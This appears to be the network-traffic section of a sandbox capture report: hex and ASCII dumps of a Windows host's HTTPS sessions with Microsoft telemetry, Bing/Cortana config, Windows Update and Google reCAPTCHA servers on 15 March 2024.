2024-03-15 12:58:21 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 15 Mar 2024 12:57:21 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_BL2 x-ms-request-id: a49fb08a-31e8-46c3-9526-0a1d88d42670 PPServer: PPV: 30 H: BL02EPF0001D8ED V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 15 Mar 2024 12:58:20 GMT Connection: close Content-Length: 11153
2024-03-15 12:58:21 UTC	11153	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.17	49762	13.107.5.88	443

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:21 UTC	537	OUT	GET /ab HTTP/1.1 Host: evoke-windowsservices-tas.msedge.net Cache-Control: no-store, no-cache X-PHOTOS-CALLERID: 9NMPJ99VJBWV X-EVOKE-RING: X-WINNEXT-RING: Public X-WINNEXT-TELEMETRYLEVEL: Basic X-WINNEXT-OSVERSION: 10.0.19045.0 X-WINNEXT-APPVERSION: 1.23082.131.0 X-WINNEXT-PLATFORM: Desktop X-WINNEXT-CANTAILOR: False X-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd} X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI= If-None-Match: 2056388360_-1434155563 Accept-Encoding: gzip, deflate, br
2024-03-15 12:58:21 UTC	437	IN	HTTP/1.1 200 OK Content-Length: 7213 Content-Type: application/json; charset=utf-8 ETag: 1269592319_-341934253 Strict-Transport-Security: max-age=2592000 X-Content-Type-Options: nosniff X-ExP-TrackingId: 36db0b78-eb13-420e-91c4-e3c3dd295f8a X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 4559801AAAF54CEFA098020A8EB1B3AA Ref B: EWR311000107051 Ref C: 2024-03-15T12:58:21Z Date: Fri, 15 Mar 2024 12:58:21 GMT Connection: close
2024-03-15 12:58:21 UTC	1024	IN	Data Raw: 7b 22 46 65 61 74 75 72 65 73 22 3a 5b 22 68 69 67 68 71 75 61 6c 69 74 79 63 61 70 74 75 72 65 63 22 2c 22 79 6f 61 6c 77 39 38 30 31 63 66 22 2c 22 79 6f 63 33 37 32 31 22 2c 22 61 61 74 65 73 31 32 31 22 2c 22 79 6f 63 61 6c 38 33 30 22 2c 22 65 6d 70 72 6f 37 30 32 22 2c 22 79 6f 6e 6f 6e 32 34 38 22 2c 22 63 6f 6e 74 61 63 74 73 76 32 73 79 6e 63 6f 6e 6c 79 22 2c 22 79 6f 79 70 70 31 31 37 22 2c 22 79 6f 79 70 70 35 36 31 22 2c 22 79 6f 70 68 6f 31 35 36 22 2c 22 79 70 72 6f 6d 65 6c 65 73 73 22 2c 22 79 6f 72 65 6d 37 38 32 22 2c 22 79 6f 72 65 6d 33 32 35 22 2c 22 79 6f 72 6f 6d 39 33 39 22 2c 22 79 6f 79 70 70 36 33 38 22 2c 22 79 6f 61 61 6f 77 63 34 36 63 66 22 2c 22 79 6f 35 35 36 22 2c 22 79 6f 61 61 6f 32 36 37 22 2c 22 79 6f 70 72 69 32 35 Data Ascii: {"Features":["highqualitycapturec","yoalw9801cf","yoc3721","aates121","yocal830","empro702","yonon248","contactsv2synconly","yoypp117","yoypp561","yopho156","ypromeless","yorem782","yorem325","yorom939","yoypp638","yoaaowc46cf","yo556","yoaao267","yopri25
2024-03-15 12:58:21 UTC	1024	IN	Data Raw: 74 65 73 31 32 31 22 2c 22 31 38 66 7a 22 3a 22 79 6f 63 61 6c 38 33 30 22 2c 22 31 68 6a 65 22 3a 22 65 6d 70 72 6f 37 30 32 22 2c 22 31 71 61 38 22 3a 22 79 6f 6e 6f 6e 32 34 38 22 2c 22 31 77 6d 74 22 3a 22 63 6f 6e 74 61 63 74 73 76 32 73 79 6e 63 6f 6e 6c 79 22 2c 22 32 69 77 6a 22 3a 22 79 6f 79 70 70 31 31 37 22 2c 22 32 6a 36 61 22 3a 22 79 6f 79 70 70 35 36 31 22 2c 22 32 6b 71 32 22 3a 22 79 6f 70 68 6f 31 35 36 22 2c 22 32 6c 61 64 22 3a 22 79 70 72 6f 6d 65 6c 65 73 73 22 2c 22 32 6f 63 64 22 3a 22 79 6f 72 65 6d 37 38 32 22 2c 22 32 72 65 6b 22 3a 22 79 6f 72 65 6d 33 32 35 22 2c 22 32 73 63 78 22 3a 22 79 6f 72 6f 6d 39 33 39 22 2c 22 32 74 70 33 22 3a 22 79 6f 79 70 70 36 33 38 22 2c 22 33 30 62 38 22 3a 22 79 6f 61 61 6f 77 63 34 36 63 66 Data Ascii: tes121","18fz":"yocal830","1hje":"empro702","1qa8":"yonon248","1wmt":"contactsv2synconly","2iwj":"yoypp117","2j6a":"yoypp561","2kq2":"yopho156","2lad":"ypromeless","2ocd":"yorem782","2rek":"yorem325","2scx":"yorom939","2tp3":"yoypp638","30b8":"yoaaowc46cf
2024-03-15 12:58:21 UTC	1024	IN	Data Raw: 3a 22 34 61 33 30 64 34 35 35 22 2c 22 35 39 67 67 22 3a 22 32 69 32 68 65 31 31 38 22 2c 22 35 39 67 6a 22 3a 22 34 64 65 35 67 35 34 32 22 2c 22 35 39 76 7a 22 3a 22 62 65 63 34 34 37 35 37 22 2c 22 35 61 39 73 22 3a 22 39 38 34 65 39 37 37 34 22 2c 22 35 61 74 6b 22 3a 22 35 35 35 64 37 39 37 38 22 2c 22 35 62 61 74 22 3a 22 65 6a 66 34 36 37 39 35 22 2c 22 35 63 70 66 22 3a 22 34 39 62 34 67 31 33 33 22 2c 22 35 63 72 73 22 3a 22 33 62 66 39 67 38 35 35 22 2c 22 35 64 77 37 22 3a 22 69 34 37 62 65 31 37 38 22 2c 22 35 65 74 36 22 3a 22 32 34 38 66 61 31 38 36 22 2c 22 35 66 6c 32 22 3a 22 68 35 31 66 30 33 34 32 22 2c 22 35 66 79 6f 22 3a 22 68 64 65 31 67 32 36 37 22 2c 22 35 66 79 71 22 3a 22 34 6a 6a 66 62 37 36 38 22 2c 22 35 67 31 73 22 3a 22 36 Data Ascii: :"4a30d455","59gg":"2i2he118","59gj":"4de5g542","59vz":"bec44757","5a9s":"984e9774","5atk":"555d7978","5bat":"ejf46795","5cpf":"49b4g133","5crs":"3bf9g855","5dw7":"i47be178","5et6":"248fa186","5fl2":"h51f0342","5fyo":"hde1g267","5fyq":"4jjfb768","5g1s":"6
2024-03-15 12:58:21 UTC	1024	IN	Data Raw: 65 72 73 22 3a 7b 22 41 41 4f 57 43 34 36 22 3a 36 34 30 30 2c 22 41 41 4f 57 43 34 37 22 3a 37 34 30 30 2c 22 41 41 4f 57 43 36 31 22 3a 31 36 30 30 2c 22 41 41 4f 57 43 36 32 22 3a 32 36 30 30 2c 22 41 41 4f 57 43 36 33 22 3a 33 36 30 30 2c 22 41 69 72 70 6c 61 6e 65 4d 6f 64 65 53 74 61 74 75 73 22 3a 74 72 75 65 2c 22 41 75 74 6f 48 79 64 72 61 74 65 64 49 6d 61 67 65 73 43 6f 75 6e 74 22 3a 30 2c 22 43 61 6c 6c 69 6e 67 41 6c 74 42 6c 75 65 74 6f 6f 74 68 50 61 69 72 69 6e 67 45 76 65 6e 74 22 3a 74 72 75 65 2c 22 43 61 6c 6c 69 6e 67 45 78 69 74 43 6f 6e 66 69 72 6d 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 43 61 6c 6c 69 6e 67 4f 53 53 65 72 76 69 63 69 6e 67 46 69 78 22 3a 74 72 75 65 2c 22 43 61 6c 6c 69 6e 67 53 68 61 72 65 64 42 6c 75 65 74 6f 6f Data Ascii: ers":{"AAOWC46":6400,"AAOWC47":7400,"AAOWC61":1600,"AAOWC62":2600,"AAOWC63":3600,"AirplaneModeStatus":true,"AutoHydratedImagesCount":0,"CallingAltBluetoothPairingEvent":true,"CallingExitConfirmation":true,"CallingOSServicingFix":true,"CallingSharedBluetoo
2024-03-15 12:58:21 UTC	1024	IN	Data Raw: 73 73 61 67 69 6e 67 43 68 61 74 46 69 6c 74 65 72 54 6f 67 67 6c 65 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 43 6f 6e 73 65 6e 74 56 32 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 43 6f 6e 76 65 72 73 61 74 69 6f 6e 56 69 65 77 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 45 6e 61 62 6c 65 48 69 64 69 6e 67 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 45 6e 61 62 6c 65 4d 75 74 69 6e 67 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 45 6e 61 62 6c 65 50 69 6e 6e 69 6e 67 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 53 65 61 72 63 68 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 53 65 6e 64 41 6e 64 52 65 63 65 69 76 65 41 6e 69 6d 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 4d 65 73 73 61 67 69 6e 67 53 65 6e 74 53 Data Ascii: ssagingChatFilterToggle":true,"MessagingConsentV2":true,"MessagingConversationView":true,"MessagingEnableHiding":true,"MessagingEnableMuting":true,"MessagingEnablePinning":true,"MessagingSearch":true,"MessagingSendAndReceiveAnimation":true,"MessagingSentS
2024-03-15 12:58:21 UTC	1024	IN	Data Raw: 3a 74 72 75 65 2c 22 52 6f 6d 65 44 69 73 61 62 6c 65 64 22 3a 34 34 31 35 30 33 2c 22 53 65 63 75 72 65 43 6f 6e 74 65 6e 74 22 3a 74 72 75 65 2c 22 53 68 65 6c 6c 45 78 74 65 6e 64 65 64 4c 65 66 74 50 61 6e 65 22 3a 74 72 75 65 2c 22 54 65 73 74 46 65 61 74 75 72 65 32 22 3a 66 61 6c 73 65 2c 22 55 6e 69 76 65 72 73 61 6c 42 6c 75 65 74 6f 6f 74 68 50 61 69 72 69 6e 67 22 3a 74 72 75 65 2c 22 57 68 61 74 73 4e 65 77 43 4e 22 3a 74 72 75 65 2c 22 59 50 50 43 61 74 61 73 74 72 6f 70 68 69 63 45 72 72 6f 72 41 75 74 6f 52 65 73 65 74 22 3a 74 72 75 65 2c 22 59 50 50 43 6f 6e 73 65 63 75 74 69 76 65 41 63 6b 54 69 6d 65 6f 75 74 73 46 6f 72 50 61 72 74 6e 65 72 44 69 73 63 6f 6e 6e 65 63 74 22 3a 35 2c 22 59 50 50 43 72 79 70 74 6f 54 72 75 73 74 53 74 6f Data Ascii: :true,"RomeDisabled":441503,"SecureContent":true,"ShellExtendedLeftPane":true,"TestFeature2":false,"UniversalBluetoothPairing":true,"WhatsNewCN":true,"YPPCatastrophicErrorAutoReset":true,"YPPConsecutiveAckTimeoutsForPartnerDisconnect":5,"YPPCryptoTrustSto
2024-03-15 12:58:21 UTC	1024	IN	Data Raw: 37 39 3a 33 30 34 34 35 33 31 30 3b 79 6f 69 73 61 38 36 31 3a 33 30 35 32 35 38 36 38 3b 79 6f 72 65 6d 31 34 31 3a 33 30 34 38 36 33 35 33 3b 79 6f 79 70 70 36 35 32 3a 33 30 35 31 35 34 38 33 3b 79 6f 35 32 35 3a 33 30 35 35 33 39 38 35 3b 79 6f 36 30 36 3a 33 30 35 32 37 38 35 30 3b 79 6f 6e 6f 74 36 33 33 3a 33 30 36 32 36 30 37 38 3b 79 6f 79 70 70 38 35 39 3a 33 30 36 38 37 38 35 39 3b 79 6f 69 6e 64 36 36 35 3a 33 30 35 39 35 31 36 33 3b 79 6f 64 63 67 38 33 30 3a 33 30 37 31 32 39 34 39 3b 6f 6e 6c 79 5f 74 6f 61 73 74 63 6f 6e 74 65 78 74 6d 65 6e 75 3a 33 30 36 34 38 30 38 31 3b 61 6a 35 34 35 34 36 35 3a 33 30 38 39 37 37 35 35 3b 62 68 34 32 33 39 33 39 3a 33 30 37 35 35 36 35 33 3b 64 6a 65 65 36 39 35 39 3a 33 30 37 36 33 31 39 39 3b 36 36 Data Ascii: 79:30445310;yoisa861:30525868;yorem141:30486353;yoypp652:30515483;yo525:30553985;yo606:30527850;yonot633:30626078;yoypp859:30687859;yoind665:30595163;yodcg830:30712949;only_toastcontextmenu:30648081;aj545465:30897755;bh423939:30755653;djee6959:30763199;66
2024-03-15 12:58:21 UTC	45	IN	Data Raw: 39 35 32 38 37 35 3b 61 35 34 66 61 35 37 34 3a 33 30 39 38 33 32 33 33 3b 64 69 66 32 32 32 31 39 3a 33 30 39 36 30 34 30 32 3b 22 7d Data Ascii: 952875;a54fa574:30983233;dif22219:30960402;"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.17	49763	204.79.197.200	443

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:21 UTC	2563	OUT	GET /client/config?cc=CH&setlang=en-CH HTTP/1.1 X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-UserAgeClass: Unknown X-BM-Market: CH X-BM-DateFormat: dd/MM/yyyy X-Device-OSSKU: 48 X-BM-DTZ: 60 X-DeviceID: 01000A41090080B6 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Search-TimeZone: Bias=-60; StandardBias=0; TimeZoneKeyName=W. Europe Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAcnpbGlcg1ezNKn7eKi15L1iqXizkVm5YFlSq7c1%2B4KORihLUjuM3tJ2TDKV7GwzyHPhU7tOu42QcJnzKWS0Gu14beXf1ggQgHZlUaTrGcg/tWbYD5mY3ev0N98ZaSes/nhkqhWx7X6HEbeNvcKrDhGH5x3fqC2FYfiwx%2BjPPL/L7bwDBvTzMr3MaL%2BH35q1rlfFH8SKU0OPvEDUbMxCFP/9v7vpB9AkwlLtD%2BzabK1JYBGZ9eyQddO0xfJWs2ZmuYEfHsNDG3supSSq6f5uEYAjScNOcZao5xEcJShcOxks%2BeOD%2BpPhhZxpfrJEdJuLlZQLP8Zg6B63wvrjMqo2/UEDZgAACH8A9AL5rdH8qAE6PAG5s%2BYJrHXfz5eEcPFvH8rCqGcOL%2BoP8%2B5bGr04S1Re9VN0IOaRwbI6UGvo4YT/kfcCwoTf0FnynDUeSln87dUnA8sKAUvXvezHdaPtVkp%2BjwXIXjmjrw6EdyoJZgzPQQkGPxlodxHnkxe96wUY7sduMXbG3YK3rpe7u998hdXLdMRA/LDAsJuV5O/cP/2MV0LeYezWBKlxjM24g/EbkI/EcOOSb0DBFyQYSWglyUaQa%2BqLRWFpdV5AeyFyxDw64MBw3NEuEo0yZ57tQj7zYvYoYNbPUcWiDXqf%2BolKhjoXbUnfmeBpBCXq6hA5rfpNKVgeoQmWTLjMHPy57THQe/Oou9Z2EwIScw3r0XNOMP3H9xrTcrC8FrTfFsZHCaT70CaLLZoLgvtI8QNT0nawdVm3sKei0MM28Kf/RaJ1eivjFHPdRfmkmwOoCPlnOOupZdViVF%2BL0VL2I3bSjvcgK6UFLmhs48uDArIWvGOb4YIwxapq0LSYUXeKuOwOU5nusSCIDY22/nrwgHxth3HVesDJVwd4PQcpSlD9CVqzBEVZ4lu37Jm52gE%3D%26p%3D X-Agent-DeviceId: 01000A41090080B6 X-BM-CBT: 1710507499 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 X-Device-isOptin: false Accept-language: en-GB, en, en-US X-Device-Touch: false X-Device-ClientSession: DE6E715EE4924638B7DE7533EA8941F1 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI Host: www.bing.com Connection: Keep-Alive Cookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
2024-03-15 12:58:22 UTC	1461	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 2215 Content-Type: application/json; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Set-Cookie: _EDGE_S=SID=2E1CB07888B86A89314FA43B89486BE9&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: MUIDB=4590362BB5CF472B95BBEDB3112D4B7B; expires=Wed, 09-Apr-2025 12:58:21 GMT; path=/; HttpOnly Set-Cookie: ANON=A=84BEA1DAAAB85FA790252CDAFFFFFFFF; domain=.bing.com; expires=Wed, 09-Apr-2025 12:58:21 GMT; path=/; secure; SameSite=None Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/; secure; SameSite=None Set-Cookie: _SS=SID=2E1CB07888B86A89314FA43B89486BE9; domain=.bing.com; path=/; secure; SameSite=None X-EventID: 65f445ed45a94e44bebf6e42a674fff8 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 76C81B1BEC25464187010CCD0F1D83A4 Ref B: TEB31EDGE0413 Ref C: 2024-03-15T12:58:21Z Date: Fri, 15 Mar 2024 12:58:21 GMT Connection: close
2024-03-15 12:58:22 UTC	2215	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.17	49764	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:22 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=rxs17CWmOALbKcf&MD=1MpBEMMe HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-03-15 12:58:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: fe8d4ee4-fd09-4e20-8f9f-404acb6b78b3 MS-RequestId: f2c526fb-f045-499c-96ee-7805354d3124 MS-CV: Vu+VA8BnBUSxTQDh.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 15 Mar 2024 12:58:22 GMT Connection: close Content-Length: 25457
2024-03-15 12:58:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-03-15 12:58:22 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.17	49765	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:28 UTC	1249	OUT	POST /recaptcha/api2/userverify?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 7196 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: https://www.google.com X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:28 UTC	7196	OUT	Data Raw: 76 3d 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 26 63 3d 30 33 41 46 63 57 65 41 35 35 5a 77 6e 54 4a 6b 68 45 6f 67 5a 58 77 59 52 67 39 47 50 45 6a 74 55 6d 6f 67 77 33 62 69 48 33 65 59 72 6a 45 67 32 5f 61 32 48 66 47 4d 6f 5f 35 38 59 71 52 50 35 62 36 36 49 6a 38 79 75 70 6a 4f 4c 45 43 31 75 67 66 30 63 69 4e 2d 49 4c 79 6e 36 71 79 69 77 67 71 71 55 5f 6f 4f 42 62 74 38 33 68 45 38 6f 73 45 69 30 52 74 58 36 71 49 63 4b 6b 55 49 4e 49 52 79 4d 69 47 55 39 46 73 31 50 59 55 6b 57 32 79 79 76 70 73 37 62 37 42 51 45 79 79 71 31 70 67 51 50 74 52 34 5a 6d 41 38 63 74 76 39 4e 43 70 51 77 49 50 71 57 35 6e 6e 5f 50 39 63 30 6f 75 5a 53 79 45 63 54 68 56 4b 34 55 51 6e 57 6f 68 34 4d 42 52 31 52 43 76 37 74 77 43 7a 63 39 Data Ascii: 